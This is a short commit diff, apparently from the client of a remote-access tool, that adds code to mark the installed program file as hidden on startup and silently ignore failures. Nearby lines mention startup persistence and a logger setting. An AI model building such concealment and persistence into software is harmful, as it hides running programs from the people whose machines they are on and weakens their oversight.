Set file attributes on startup

This commit is contained in:
MaxXor 2015-09-06 16:25:21 +02:00
parent bdedaf5324
commit bdfe0543f5
1 changed files with 11 additions and 0 deletions

View File

@ -159,6 +159,17 @@ namespace xClient
ClientData.AddToStartupFailed = true;
}
if (Settings.INSTALL && Settings.HIDEFILE)
{
try
{
File.SetAttributes(ClientData.InstallPath, FileAttributes.Hidden);
}
catch (Exception)
{
}
}
InitializeClient();
if (Settings.ENABLELOGGER)